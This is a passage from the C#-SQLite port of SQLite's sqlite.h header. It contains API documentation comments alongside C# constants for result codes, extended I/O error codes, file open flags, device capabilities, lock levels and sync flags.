(such as inserting\n    ** the version number) and changes its name to \"sqlite3.h\" as\n    ** part of the build process.\n    **\n    ** @(#) $Id: sqlite.h.in,v 1.462 2009/08/06 17:40:46 drh Exp $\n        *************************************************************************\n        **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n        **  C#-SQLite is an independent reimplementation of the SQLite software library\n        **\n        **  $Header$\n        *************************************************************************\n    */\n    //#ifndef _SQLITE3_H_\n    //#define _SQLITE3_H_\n    //#include <stdarg.h>     /* Needed for the definition of va_list */\n\n    /*\n    ** Make sure we can call this stuff from C++.\n    */\n    //#ifdef __cplusplus\n    //extern \"C\" {\n    //#endif\n\n\n    /*\n    ** Add the ability to override 'extern'\n    */\n    //#ifndef SQLITE_EXTERN\n    //# define SQLITE_EXTERN extern\n    //#endif\n\n    //#ifndef SQLITE_API\n    //# define SQLITE_API\n    //#endif\n\n\n    /*\n    ** These no-op macros are used in front of interfaces to mark those\n    ** interfaces as either deprecated or experimental.  New applications\n    ** should not use deprecated intrfaces - they are support for backwards\n    ** compatibility only.  Application writers should be aware that\n    ** experimental interfaces are subject to change in point releases.\n    **\n    ** These macros used to resolve to various kinds of compiler magic that\n    ** would generate warning messages when they were used.  But that\n    ** compiler magic ended up generating such a flurry of bug reports\n    ** that we have taken it all out and gone back to using simple\n    ** noop macros.\n    */\n    //#define SQLITE_DEPRECATED\n    //#define SQLITE_EXPERIMENTAL\n\n    /*\n    ** Ensure these symbols were not defined by some previous header file.\n    */\n    //#ifdef SQLITE_VERSION\n    //# undef SQLITE_VERSION\n    //#endif\n    //#ifdef SQLITE_VERSION_NUMBER\n    //# undef SQLITE_VERSION_NUMBER\n    //#endif\n\n    /*\n    ** CAPI3REF: Compile-Time Library Version Numbers {H10010} <S60100>\n    **\n    ** The SQLITE_VERSION and SQLITE_VERSION_NUMBER #defines in\n    ** the sqlite3.h file specify the version of SQLite with which\n    ** that header file is associated.\n    **\n    ** The \"version\" of SQLite is a string of the form \"X.Y.Z\".\n    ** The phrase \"alpha\" or \"beta\" might be appended after the Z.\n    ** The X value is major version number always 3 in SQLite3.\n    ** The X value only changes when backwards compatibility is\n    ** broken and we intend to never break backwards compatibility.\n    ** The Y value is the minor version number and only changes when\n    ** there are major feature enhancements that are forwards compatible\n    ** but not backwards compatible.\n    ** The Z value is the release number and is incremented with\n    ** each release but resets back to 0 whenever Y is incremented.\n    **\n    ** See also: [sqlite3_libversion()] and [sqlite3_libversion_number()].\n    **\n    ** Requirements: [H10011] [H10014]\n    */\n    //#define SQLITE_VERSION         \"3.6.17\"\n    //#define SQLITE_VERSION_NUMBER  3006017\n    const string SQLITE_VERSION = \"3.6.17.C#\";\n    const int SQLITE_VERSION_NUMBER = 300601767;\n\n    /*\n    ** CAPI3REF: Run-Time Library Version Numbers {H10020} <S60100>\n    ** KEYWORDS: sqlite3_version\n    **\n    ** These features provide the same information as the [SQLITE_VERSION]\n    ** and [SQLITE_VERSION_NUMBER] #defines in the header, but are associated\n    ** with the library instead of the header file.  Cautious programmers might\n    ** include a check in their application to verify that\n    ** sqlite3_libversion_number() always returns the value\n    ** [SQLITE_VERSION_NUMBER].\n    **\n    ** The sqlite3_libversion() function returns the same information as is\n    ** in the sqlite3_version[] string constant.  The function is provided\n    ** for use in DLLs since DLL users usually do not have direct access to string\n    ** constants within the DLL.\n    **\n    ** Requirements: [H10021] [H10022] [H10023]\n    */\n    //SQLITE_API SQLITE_EXTERN const char sqlite3_version[];\n    //SQLITE_API const char *sqlite3_libversion(void);\n    //SQLITE_API int sqlite3_libversion_number(void);\n\n    /*\n    ** CAPI3REF: Test To See If The Library Is Threadsafe {H10100} <S60100>\n    **\n    ** SQLite can be compiled with or without mutexes.  When\n    ** the [SQLITE_THREADSAFE] C preprocessor macro 1 or 2, mutexes\n    ** are enabled and SQLite is threadsafe.  When the\n    ** [SQLITE_THREADSAFE] macro is 0, \n    ** the mutexes are omitted.  Without the mutexes, it is not safe\n    ** to use SQLite concurrently from more than one thread.\n    **\n    ** Enabling mutexes incurs a measurable performance penalty.\n    ** So if speed is of utmost importance, it makes sense to disable\n    ** the mutexes.  But for maximum safety, mutexes should be enabled.\n    ** The default behavior is for mutexes to be enabled.\n    **\n    ** This interface can be used by a program to make sure that the\n    ** version of SQLite that it is linking against was compiled with\n    ** the desired setting of the [SQLITE_THREADSAFE] macro.\n    **\n    ** This interface only reports on the compile-time mutex setting\n    ** of the [SQLITE_THREADSAFE] flag.  If SQLite is compiled with\n    ** SQLITE_THREADSAFE=1 then mutexes are enabled by default but\n    ** can be fully or partially disabled using a call to [sqlite3_config()]\n    ** with the verbs [SQLITE_CONFIG_SINGLETHREAD], [SQLITE_CONFIG_MULTITHREAD],\n    ** or [SQLITE_CONFIG_MUTEX].  The return value of this function shows\n    ** only the default compile-time setting, not any run-time changes\n    ** to that setting.\n    **\n    ** See the [threading mode] documentation for additional information.\n    **\n    ** Requirements: [H10101] [H10102]\n    */\n    //SQLITE_API int sqlite3_threadsafe(void);\n\n    /*\n    ** CAPI3REF: Database Connection Handle {H12000} <S40200>\n    ** KEYWORDS: {database connection} {database connections}\n    **\n    ** Each open SQLite database is represented by a pointer to an instance of\n    ** the opaque structure named \"sqlite3\".  It is useful to think of an sqlite3\n    ** pointer as an object.  The [sqlite3_open()], [sqlite3_open16()], and\n    ** [sqlite3_open_v2()] interfaces are its constructors, and [sqlite3_close()]\n    ** is its destructor.  There are many other interfaces (such as\n    ** [sqlite3_prepare_v2()], [sqlite3_create_function()], and\n    ** [sqlite3_busy_timeout()] to name but three) that are methods on an\n    ** sqlite3 object.\n    */\n    //typedef struct sqlite3 sqlite3;\n\n    /*\n    ** CAPI3REF: 64-Bit Integer Types {H10200} <S10110>\n    ** KEYWORDS: sqlite_int64 sqlite_uint64\n    **\n    ** Because there is no cross-platform way to specify 64-bit integer types\n    ** SQLite includes typedefs for 64-bit signed and unsigned integers.\n    **\n    ** The sqlite3_int64 and sqlite3_uint64 are the preferred type definitions.\n    ** The sqlite_int64 and sqlite_uint64 types are supported for backwards\n    ** compatibility only.\n    **\n    ** Requirements: [H10201] [H10202]\n    */\n    //#ifdef SQLITE_INT64_TYPE\n    //  typedef SQLITE_INT64_TYPE sqlite_int64;\n    //  typedef unsigned SQLITE_INT64_TYPE sqlite_uint64;\n    //#elif defined(_MSC_VER) || defined(__BORLANDC__)\n    //  typedef __int64 sqlite_int64;\n    //  typedef unsigned __int64 sqlite_uint64;\n    //#else\n    //  typedef long long int sqlite_int64;\n    //  typedef unsigned long long int sqlite_uint64;\n    //#endif\n    //typedef sqlite_int64 sqlite3_int64;\n    //typedef sqlite_uint64 sqlite3_uint64;\n\n    /*\n    ** If compiling for a processor that lacks floating point support,\n    ** substitute integer for floating-point.\n    */\n    //#ifdef SQLITE_OMIT_FLOATING_POINT\n    //# define double sqlite3_int64\n    //#endif\n\n    /*\n    ** CAPI3REF: Closing A Database Connection {H12010} <S30100><S40200>\n    **\n    ** This routine is the destructor for the [sqlite3] object.\n    **\n    ** Applications should [sqlite3_finalize | finalize] all [prepared statements]\n    ** and [sqlite3_blob_close | close] all [BLOB handles] associated with\n    ** the [sqlite3] object prior to attempting to close the object.\n    ** The [sqlite3_next_stmt()] interface can be used to locate all\n    ** [prepared statements] associated with a [database connection] if desired.\n    ** Typical code might look like this:\n    **\n    ** <blockquote><pre>\n    ** sqlite3_stmt *pStmt;\n    ** while( (pStmt = sqlite3_next_stmt(db, 0))!=0 ){\n    ** &nbsp;   sqlite3_finalize(pStmt);\n    ** }\n    ** </pre></blockquote>\n    **\n    ** If [sqlite3_close()] is invoked while a transaction is open,\n    ** the transaction is automatically rolled back.\n    **\n    ** The C parameter to [sqlite3_close(C)] must be either a NULL\n    ** pointer or an [sqlite3] object pointer obtained\n    ** from [sqlite3_open()], [sqlite3_open16()], or\n    ** [sqlite3_open_v2()], and not previously closed.\n    **\n    ** Requirements:\n    ** [H12011] [H12012] [H12013] [H12014] [H12015] [H12019]\n    */\n    //SQLITE_API int sqlite3_close(sqlite3 *);\n\n    /*\n    ** The type for a callback function.\n    ** This is legacy and deprecated.  It is included for historical\n    ** compatibility and is not documented.\n    */\n    //typedef int (*sqlite3_callback)(void*,int,char**, char**);\n\n    /*\n    ** CAPI3REF: One-Step Query Execution Interface {H12100} <S10000>\n    **\n    ** The sqlite3_exec() interface is a convenient way of running one or more\n    ** SQL statements without having to write a lot of C code.  The UTF-8 encoded\n    ** SQL statements are passed in as the second parameter to sqlite3_exec().\n    ** The statements are evaluated one by one until either an error or\n    ** an interrupt is encountered, or until they are all done.  The 3rd parameter\n    ** is an optional callback that is invoked once for each row of any query\n    ** results produced by the SQL statements.  The 5th parameter tells where\n    ** to write any error messages.\n    **\n    ** The error message passed back through the 5th parameter is held\n    ** in memory obtained from [sqlite3_malloc()].  To avoid a memory leak,\n    ** the calling application should call [sqlite3_free()] on any error\n    ** message returned through the 5th parameter when it has finished using\n    ** the error message.\n    **\n    ** If the SQL statement in the 2nd parameter is NULL or an empty string\n    ** or a string containing only whitespace and comments, then no SQL\n    ** statements are evaluated and the database is not changed.\n    **\n    ** The sqlite3_exec() interface is implemented in terms of\n    ** [sqlite3_prepare_v2()], [sqlite3_step()], and [sqlite3_finalize()].\n    ** The sqlite3_exec() routine does nothing to the database that cannot be done\n    ** by [sqlite3_prepare_v2()], [sqlite3_step()], and [sqlite3_finalize()].\n    **\n    ** The first parameter to [sqlite3_exec()] must be an valid and open\n    ** [database connection].\n    **\n    ** The database connection must not be closed while\n    ** [sqlite3_exec()] is running.\n    **\n    ** The calling function should use [sqlite3_free()] to free\n    ** the memory that *errmsg is left pointing at once the error\n    ** message is no longer needed.\n    **\n    ** The SQL statement text in the 2nd parameter to [sqlite3_exec()]\n    ** must remain unchanged while [sqlite3_exec()] is running.\n    **\n    ** Requirements:\n    ** [H12101] [H12102] [H12104] [H12105] [H12107] [H12110] [H12113] [H12116]\n    ** [H12119] [H12122] [H12125] [H12131] [H12134] [H12137] [H12138]\n    */\n    //SQLITE_API int sqlite3_exec(\n    ////  sqlite3*,                                  /* An open database */\n    //  const char *sql,                           /* SQL to be evaluated */\n    //  int (*callback)(void*,int,char**,char**),  /* Callback function */\n    //  void *,                                    /* 1st argument to callback */\n    //  char **errmsg                              /* Error msg written here */\n    //);\n\n    /*\n    ** CAPI3REF: Result Codes {H10210} <S10700>\n    ** KEYWORDS: SQLITE_OK {error code} {error codes}\n    ** KEYWORDS: {result code} {result codes}\n    **\n    ** Many SQLite functions return an integer result code from the set shown\n    ** here in order to indicates success or failure.\n    **\n    ** New error codes may be added in future versions of SQLite.\n    **\n    ** See also: [SQLITE_IOERR_READ | extended result codes]\n    */\n    //#define SQLITE_OK           0   /* Successful result */\n    ///* beginning-of-error-codes */\n    //#define SQLITE_ERROR        1   /* SQL error or missing database */\n    //#define SQLITE_INTERNAL     2   /* Internal logic error in SQLite */\n    //#define SQLITE_PERM         3   /* Access permission denied */\n    //#define SQLITE_ABORT        4   /* Callback routine requested an abort */\n    //#define SQLITE_BUSY         5   /* The database file is locked */\n    //#define SQLITE_LOCKED       6   /* A table in the database is locked */\n    //#define SQLITE_NOMEM        7   /* A malloc() failed */\n    //#define SQLITE_READONLY     8   /* Attempt to write a readonly database */\n    //#define SQLITE_INTERRUPT    9   /* Operation terminated by sqlite3_interrupt()*/\n    //#define SQLITE_IOERR       10   /* Some kind of disk I/O error occurred */\n    //#define SQLITE_CORRUPT     11   /* The database disk image is malformed */\n    //#define SQLITE_NOTFOUND    12   /* NOT USED. Table or record not found */\n    //#define SQLITE_FULL        13   /* Insertion failed because database is full */\n    //#define SQLITE_CANTOPEN    14   /* Unable to open the database file */\n    //#define SQLITE_PROTOCOL    15   /* NOT USED. Database lock protocol error */\n    //#define SQLITE_EMPTY       16   /* Database is empty */\n    //#define SQLITE_SCHEMA      17   /* The database schema changed */\n    //#define SQLITE_TOOBIG      18   /* String or BLOB exceeds size limit */\n    //#define SQLITE_CONSTRAINT  19   /* Abort due to constraint violation */\n    //#define SQLITE_MISMATCH    20   /* Data type mismatch */\n    //#define SQLITE_MISUSE      21   /* Library used incorrectly */\n    //#define SQLITE_NOLFS       22   /* Uses OS features not supported on host */\n    //#define SQLITE_AUTH        23   /* Authorization denied */\n    //#define SQLITE_FORMAT      24   /* Auxiliary database format error */\n    //#define SQLITE_RANGE       25   /* 2nd parameter to sqlite3_bind out of range */\n    //#define SQLITE_NOTADB      26   /* File opened that is not a database file */\n    //#define SQLITE_ROW         100  /* sqlite3_step() has another row ready */\n    //#define SQLITE_DONE        101  /* sqlite3_step() has finished executing */\n\n    public const int SQLITE_OK = 0;/* Successful result */\n    public const int SQLITE_ERROR = 1;/* SQL error or missing database */\n    public const int SQLITE_INTERNAL = 2;/* Internal logic error in SQLite */\n    public const int SQLITE_PERM = 3;/* Access permission denied */\n    public const int SQLITE_ABORT = 4;/* Callback routine requested an abort */\n    public const int SQLITE_BUSY = 5;/* The database file is locked */\n    public const int SQLITE_LOCKED = 6;/* A table in the database is locked */\n    public const int SQLITE_NOMEM = 7;/* A malloc() failed */\n    public const int SQLITE_READONLY = 8;/* Attempt to write a readonly database */\n    public const int SQLITE_INTERRUPT = 9;/* Operation terminated by sqlite3_interrupt()*/\n    public const int SQLITE_IOERR = 10;/* Some kind of disk I/O error occurred */\n    public const int SQLITE_CORRUPT = 11;/* The database disk image is malformed */\n    public const int SQLITE_NOTFOUND = 12;/* NOT USED. Table or record not found */\n    public const int SQLITE_FULL = 13;/* Insertion failed because database is full */\n    public const int SQLITE_CANTOPEN = 14;/* Unable to open the database file */\n    public const int SQLITE_PROTOCOL = 15;/* NOT USED. Database lock protocol error */\n    public const int SQLITE_EMPTY = 16;/* Database is empty */\n    public const int SQLITE_SCHEMA = 17;/* The database schema changed */\n    public const int SQLITE_TOOBIG = 18;/* String or BLOB exceeds size limit */\n    public const int SQLITE_CONSTRAINT = 19;/* Abort due to constraint violation */\n    public const int SQLITE_MISMATCH = 20;/* Data type mismatch */\n    public const int SQLITE_MISUSE = 21;/* Library used incorrectly */\n    public const int SQLITE_NOLFS = 22;/* Uses OS features not supported on host */\n    public const int SQLITE_AUTH = 23;/* Authorization denied */\n    public const int SQLITE_FORMAT = 24;/* Auxiliary database format error */\n    public const int SQLITE_RANGE = 25;/* 2nd parameter to sqlite3_bind out of range */\n    public const int SQLITE_NOTADB = 26;/* File opened that is not a database file */\n    public const int SQLITE_ROW = 100;/* sqlite3_step() has another row ready */\n    public const int SQLITE_DONE = 101;/* sqlite3_step() has finished executing */\n    /* end-of-error-codes */\n\n    /*\n    ** CAPI3REF: Extended Result Codes {H10220} <S10700>\n    ** KEYWORDS: {extended error code} {extended error codes}\n    ** KEYWORDS: {extended result code} {extended result codes}\n    **\n    ** In its default configuration, SQLite API routines return one of 26 integer\n    ** [SQLITE_OK | result codes].  However, experience has shown that many of\n    ** these result codes are too coarse-grained.  They do not provide as\n    ** much information about problems as programmers might like.  In an effort to\n    ** address this, newer versions of SQLite (version 3.3.8 and later) include\n    ** support for additional result codes that provide more detailed information\n    ** about errors. The extended result codes are enabled or disabled\n    ** on a per database connection basis using the\n    ** [sqlite3_extended_result_codes()] API.\n    **\n    ** Some of the available extended result codes are listed here.\n    ** One may expect the number of extended result codes will be expand\n    ** over time.  Software that uses extended result codes should expect\n    ** to see new result codes in future releases of SQLite.\n    **\n    ** The SQLITE_OK result code will never be extended.  It will always\n    ** be exactly zero.\n    */\n    //#define SQLITE_IOERR_READ              (SQLITE_IOERR | (1<<8))\n    //#define SQLITE_IOERR_SHORT_READ        (SQLITE_IOERR | (2<<8))\n    //#define SQLITE_IOERR_WRITE             (SQLITE_IOERR | (3<<8))\n    //#define SQLITE_IOERR_FSYNC             (SQLITE_IOERR | (4<<8))\n    //#define SQLITE_IOERR_DIR_FSYNC         (SQLITE_IOERR | (5<<8))\n    //#define SQLITE_IOERR_TRUNCATE          (SQLITE_IOERR | (6<<8))\n    //#define SQLITE_IOERR_FSTAT             (SQLITE_IOERR | (7<<8))\n    //#define SQLITE_IOERR_UNLOCK            (SQLITE_IOERR | (8<<8))\n    //#define SQLITE_IOERR_RDLOCK            (SQLITE_IOERR | (9<<8))\n    //#define SQLITE_IOERR_DELETE            (SQLITE_IOERR | (10<<8))\n    //#define SQLITE_IOERR_BLOCKED           (SQLITE_IOERR | (11<<8))\n    //#define SQLITE_IOERR_NOMEM             (SQLITE_IOERR | (12<<8))\n    //#define SQLITE_IOERR_ACCESS            (SQLITE_IOERR | (13<<8))\n    //#define SQLITE_IOERR_CHECKRESERVEDLOCK (SQLITE_IOERR | (14<<8))\n    //#define SQLITE_IOERR_LOCK              (SQLITE_IOERR | (15<<8))\n    //#define SQLITE_IOERR_CLOSE             (SQLITE_IOERR | (16<<8))\n    //#define SQLITE_IOERR_DIR_CLOSE         (SQLITE_IOERR | (17<<8))\n    //#define SQLITE_LOCKED_SHAREDCACHE      (SQLITE_LOCKED | (1<<8) )\n    const int SQLITE_IOERR_READ = ( SQLITE_IOERR | ( 1 << 8 ) );\n    const int SQLITE_IOERR_SHORT_READ = ( SQLITE_IOERR | ( 2 << 8 ) );\n    const int SQLITE_IOERR_WRITE = ( SQLITE_IOERR | ( 3 << 8 ) );\n    const int SQLITE_IOERR_FSYNC = ( SQLITE_IOERR | ( 4 << 8 ) );\n    const int SQLITE_IOERR_DIR_FSYNC = ( SQLITE_IOERR | ( 5 << 8 ) );\n    const int SQLITE_IOERR_TRUNCATE = ( SQLITE_IOERR | ( 6 << 8 ) );\n    const int SQLITE_IOERR_FSTAT = ( SQLITE_IOERR | ( 7 << 8 ) );\n    const int SQLITE_IOERR_UNLOCK = ( SQLITE_IOERR | ( 8 << 8 ) );\n    const int SQLITE_IOERR_RDLOCK = ( SQLITE_IOERR | ( 9 << 8 ) );\n    const int SQLITE_IOERR_DELETE = ( SQLITE_IOERR | ( 10 << 8 ) );\n    const int SQLITE_IOERR_BLOCKED = ( SQLITE_IOERR | ( 11 << 8 ) );\n    const int SQLITE_IOERR_NOMEM = ( SQLITE_IOERR | ( 12 << 8 ) );\n    const int SQLITE_IOERR_ACCESS = ( SQLITE_IOERR | ( 13 << 8 ) );\n    const int SQLITE_IOERR_CHECKRESERVEDLOCK = ( SQLITE_IOERR | ( 14 << 8 ) );\n    const int SQLITE_IOERR_LOCK = ( SQLITE_IOERR | ( 15 << 8 ) );\n    const int SQLITE_IOERR_CLOSE = ( SQLITE_IOERR | ( 16 << 8 ) );\n    const int SQLITE_IOERR_DIR_CLOSE = ( SQLITE_IOERR | ( 17 << 8 ) );\n    const int SQLITE_LOCKED_SHAREDCACHE = ( SQLITE_LOCKED | ( 1 << 8 ) );\n\n    /*\n    ** CAPI3REF: Flags For File Open Operations {H10230} <H11120> <H12700>\n    **\n    ** These bit values are intended for use in the\n    ** 3rd parameter to the [sqlite3_open_v2()] interface and\n    ** in the 4th parameter to the xOpen method of the\n    ** [sqlite3_vfs] object.\n    */\n    //#define SQLITE_OPEN_READONLY         0x00000001  /* Ok for sqlite3_open_v2() */\n    //#define SQLITE_OPEN_READWRITE        0x00000002  /* Ok for sqlite3_open_v2() */\n    //#define SQLITE_OPEN_CREATE           0x00000004  /* Ok for sqlite3_open_v2() */\n    //#define SQLITE_OPEN_DELETEONCLOSE    0x00000008  /* VFS only */\n    //#define SQLITE_OPEN_EXCLUSIVE        0x00000010  /* VFS only */\n    //#define SQLITE_OPEN_MAIN_DB          0x00000100  /* VFS only */\n    //#define SQLITE_OPEN_TEMP_DB          0x00000200  /* VFS only */\n    //#define SQLITE_OPEN_TRANSIENT_DB     0x00000400  /* VFS only */\n    //#define SQLITE_OPEN_MAIN_JOURNAL     0x00000800  /* VFS only */\n    //#define SQLITE_OPEN_TEMP_JOURNAL     0x00001000  /* VFS only */\n    //#define SQLITE_OPEN_SUBJOURNAL       0x00002000  /* VFS only */\n    //#define SQLITE_OPEN_MASTER_JOURNAL   0x00004000  /* VFS only */\n    //#define SQLITE_OPEN_NOMUTEX          0x00008000  /* Ok for sqlite3_open_v2() */\n    //#define SQLITE_OPEN_FULLMUTEX        0x00010000  /* Ok for sqlite3_open_v2() */\n    public const int SQLITE_OPEN_READONLY = 0x00000001;\n    public const int SQLITE_OPEN_READWRITE = 0x00000002;\n    public const int SQLITE_OPEN_CREATE = 0x00000004;\n    public const int SQLITE_OPEN_DELETEONCLOSE = 0x00000008;\n    public const int SQLITE_OPEN_EXCLUSIVE = 0x00000010;\n    public const int SQLITE_OPEN_MAIN_DB = 0x00000100;\n    public const int SQLITE_OPEN_TEMP_DB = 0x00000200;\n    public const int SQLITE_OPEN_TRANSIENT_DB = 0x00000400;\n    public const int SQLITE_OPEN_MAIN_JOURNAL = 0x00000800;\n    public const int SQLITE_OPEN_TEMP_JOURNAL = 0x00001000;\n    public const int SQLITE_OPEN_SUBJOURNAL = 0x00002000;\n    public const int SQLITE_OPEN_MASTER_JOURNAL = 0x00004000;\n    public const int SQLITE_OPEN_NOMUTEX = 0x00008000;\n    public const int SQLITE_OPEN_FULLMUTEX = 0x00010000;\n\n\n    /*\n    ** CAPI3REF: Device Characteristics {H10240} <H11120>\n    **\n    ** The xDeviceCapabilities method of the [sqlite3_io_methods]\n    ** object returns an integer which is a vector of the these\n    ** bit values expressing I/O characteristics of the mass storage\n    ** device that holds the file that the [sqlite3_io_methods]\n    ** refers to.\n    **\n    ** The SQLITE_IOCAP_ATOMIC property means that all writes of\n    ** any size are atomic.  The SQLITE_IOCAP_ATOMICnnn values\n    ** mean that writes of blocks that are nnn bytes in size and\n    ** are aligned to an address which is an integer multiple of\n    ** nnn are atomic.  The SQLITE_IOCAP_SAFE_APPEND value means\n    ** that when data is appended to a file, the data is appended\n    ** first then the size of the file is extended, never the other\n    ** way around.  The SQLITE_IOCAP_SEQUENTIAL property means that\n    ** information is written to disk in the same order as calls\n    ** to xWrite().\n    */\n    //#define SQLITE_IOCAP_ATOMIC          0x00000001\n    //#define SQLITE_IOCAP_ATOMIC512       0x00000002\n    //#define SQLITE_IOCAP_ATOMIC1K        0x00000004\n    //#define SQLITE_IOCAP_ATOMIC2K        0x00000008\n    //#define SQLITE_IOCAP_ATOMIC4K        0x00000010\n    //#define SQLITE_IOCAP_ATOMIC8K        0x00000020\n    //#define SQLITE_IOCAP_ATOMIC16K       0x00000040\n    //#define SQLITE_IOCAP_ATOMIC32K       0x00000080\n    //#define SQLITE_IOCAP_ATOMIC64K       0x00000100\n    //#define SQLITE_IOCAP_SAFE_APPEND     0x00000200\n    //#define SQLITE_IOCAP_SEQUENTIAL      0x00000400\n    const int SQLITE_IOCAP_ATOMIC = 0x00000001;\n    const int SQLITE_IOCAP_ATOMIC512 = 0x00000002;\n    const int SQLITE_IOCAP_ATOMIC1K = 0x00000004;\n    const int SQLITE_IOCAP_ATOMIC2K = 0x00000008;\n    const int SQLITE_IOCAP_ATOMIC4K = 0x00000010;\n    const int SQLITE_IOCAP_ATOMIC8K = 0x00000020;\n    const int SQLITE_IOCAP_ATOMIC16K = 0x00000040;\n    const int SQLITE_IOCAP_ATOMIC32K = 0x00000080;\n    const int SQLITE_IOCAP_ATOMIC64K = 0x00000100;\n    const int SQLITE_IOCAP_SAFE_APPEND = 0x00000200;\n    const int SQLITE_IOCAP_SEQUENTIAL = 0x00000400;\n\n    /*\n    ** CAPI3REF: File Locking Levels {H10250} <H11120> <H11310>\n    **\n    ** SQLite uses one of these integer values as the second\n    ** argument to calls it makes to the xLock() and xUnlock() methods\n    ** of an [sqlite3_io_methods] object.\n    */\n    //#define SQLITE_LOCK_NONE          0\n    //#define SQLITE_LOCK_SHARED        1\n    //#define SQLITE_LOCK_RESERVED      2\n    //#define SQLITE_LOCK_PENDING       3\n    //#define SQLITE_LOCK_EXCLUSIVE     4\n    const int SQLITE_LOCK_NONE = 0;\n    const int SQLITE_LOCK_SHARED = 1;\n    const int SQLITE_LOCK_RESERVED = 2;\n    const int SQLITE_LOCK_PENDING = 3;\n    const int SQLITE_LOCK_EXCLUSIVE = 4;\n\n    /*\n    ** CAPI3REF: Synchronization Type Flags {H10260} <H11120>\n    **\n    ** When SQLite invokes the xSync() method of an\n    ** [sqlite3_io_methods] object it uses a combination of\n    ** these integer values as the second argument.\n    **\n    ** When the SQLITE_SYNC_DATAONLY flag is used, it means that the\n    ** sync operation only needs to flush data to mass storage.  Inode\n    ** information need not be flushed. If the lower four bits of the flag\n    ** equal SQLITE_SYNC_NORMAL, that means to use normal fsync() semantics.\n    ** If the lower four bits equal SQLITE_SYNC_FULL, that means\n    ** to use Mac OS X style fullsync instead of fsync().\n    */\n    //#define SQLITE_SYNC_NORMAL        0x00002\n    //#define SQLITE_SYNC_FULL          0x00003\n    //#define SQLITE_SYNC_DATAONLY      0x00010\n    const int SQLITE_SYNC_NORMAL = 0x00002;\n    const int SQLITE_SYNC_FULL = 0x00003;\n    const int SQLITE_SYNC_DATAONLY = 0x00010;\n\n    /*\n    ** CAPI3REF: OS Interface Open File Handle {H11110} <S20110>\n    **\n    ** An [sqlite3_file] object represents an open file in the OS\n    ** interface layer.  Individual OS interface implementations will\n    ** want to subclass this object by appending additional fields\n    ** for their own use.  The pMethods entry is a pointer to an\n    ** [sqlite3_io_methods] object that defines methods for performing\n    ** I/O operations on the open file.\n    */\n    //typedef struct sqlite3_file sqlite3_file;\n    //struct sqlite3_file {\n    //  const struct sqlite3_io_methods *pMethods;  /* Methods for an open file */\n    //};\n    public partial class sqlite3_file\n    {\n      public sqlite3_io_methods pMethods;/* Must be first */\n    }\n    /*\n    ** CAPI3REF: OS Interface File Virtual Methods Object {H11120} <S20110>\n    **\n    ** Every file opened by the [sqlite3_vfs] xOpen method populates an\n    ** [sqlite3_file] object (or, more commonly, a subclass of the\n    ** [sqlite3_file] object) with a pointer to an instance of this object.\n    ** This object defines the methods used to perform various operations\n    ** against the open file represented by the [sqlite3_file] object.\n    **\n    ** If the xOpen method sets the sqlite3_file.pMethods element \n    ** to a non-NULL pointer, then the sqlite3_io_methods.xClose method\n    ** may be invoked even if the xOpen reported that it failed.  The\n    ** only way to prevent a call to xClose following a failed xOpen\n    ** is for the xOpen to set the sqlite3_file.pMethods element to NULL.\n    **\n    ** The flags argument to xSync may be one of [SQLITE_SYNC_NORMAL] or\n    ** [SQLITE_SYNC_FULL].  The first choice is the normal fsync().\n    ** The second choice is a Mac OS X style fullsync.  The [SQLITE_SYNC_DATAONLY]\n    ** flag may be ORed in to indicate that only the data of the file\n    ** and not its inode needs to be synced.\n    **\n    ** The integer values to xLock() and xUnlock() are one of\n    ** <ul>\n    ** <li> [SQLITE_LOCK_NONE],\n    ** <li> [SQLITE_LOCK_SHARED],\n    ** <li> [SQLITE_LOCK_RESERVED],\n    ** <li> [SQLITE_LOCK_PENDING], or\n    ** <li> [SQLITE_LOCK_EXCLUSIVE].\n    ** </ul>\n    ** xLock() increases the lock. xUnlock() decreases the lock.\n    ** The xCheckReservedLock() method checks whether any database connection,\n    ** either in this process or in some other process, is holding a RESERVED,\n    ** PENDING, or EXCLUSIVE lock on the file.  It returns true\n    ** if such a lock exists and false otherwise.\n    **\n    ** The xFileControl() method is a generic interface that allows custom\n    ** VFS implementations to directly control an open file using the\n    ** [sqlite3_file_control()] interface.  The second \"op\" argument is an\n    ** integer opcode.  The third argument is a generic pointer intended to\n    ** point to a structure that may contain arguments or space in which to\n    ** write return values.  Potential uses for xFileControl() might be\n    ** functions to enable blocking locks with timeouts, to change the\n    ** locking strategy (for example to use dot-file locks), to inquire\n    ** about the status of a lock, or to break stale locks.  The SQLite\n    ** core reserves all opcodes less than 100 for its own use.\n    ** A [SQLITE_FCNTL_LOCKSTATE | list of opcodes] less than 100 is available.\n    ** Applications that define a custom xFileControl method should use opcodes\n    ** greater than 100 to avoid conflicts.\n    **\n    ** The xSectorSize() method returns the sector size of the\n    ** device that underlies the file.  The sector size is the\n    ** minimum write that can be performed without disturbing\n    ** other bytes in the file.  The xDeviceCharacteristics()\n    ** method returns a bit vector describing behaviors of the\n    ** underlying device:\n    **\n    ** <ul>\n    ** <li> [SQLITE_IOCAP_ATOMIC]\n    ** <li> [SQLITE_IOCAP_ATOMIC512]\n    ** <li> [SQLITE_IOCAP_ATOMIC1K]\n    ** <li> [SQLITE_IOCAP_ATOMIC2K]\n    ** <li> [SQLITE_IOCAP_ATOMIC4K]\n    ** <li> [SQLITE_IOCAP_ATOMIC8K]\n    ** <li> [SQLITE_IOCAP_ATOMIC16K]\n    ** <li> [SQLITE_IOCAP_ATOMIC32K]\n    ** <li> [SQLITE_IOCAP_ATOMIC64K]\n    ** <li> [SQLITE_IOCAP_SAFE_APPEND]\n    ** <li> [SQLITE_IOCAP_SEQUENTIAL]\n    ** </ul>\n    **\n    ** The SQLITE_IOCAP_ATOMIC property means that all writes of\n    ** any size are atomic.  The SQLITE_IOCAP_ATOMICnnn values\n    ** mean that writes of blocks that are nnn bytes in size and\n    ** are aligned to an address which is an integer multiple of\n    ** nnn are atomic.  The SQLITE_IOCAP_SAFE_APPEND value means\n    ** that when data is appended to a file, the data is appended\n    ** first then the size of the file is extended, never the other\n    ** way around.  The SQLITE_IOCAP_SEQUENTIAL property means that\n    ** information is written to disk in the same order as calls\n    ** to xWrite().\n    **\n    ** If xRead() returns SQLITE_IOERR_SHORT_READ it must also fill\n    ** in the unread portions of the buffer with zeros.  A VFS that\n    ** fails to zero-fill short reads might seem to work.  However,\n    ** failure to zero-fill short reads will eventually lead to\n    ** database corruption.\n    */\n    //typedef struct sqlite3_io_methods sqlite3_io_methods;\n    //struct sqlite3_io_methods {\n    //  int iVersion;\n    //  int (*xClose)(sqlite3_file*);\n    //  int (*xRead)(sqlite3_file*, void*, int iAmt, sqlite3_int64 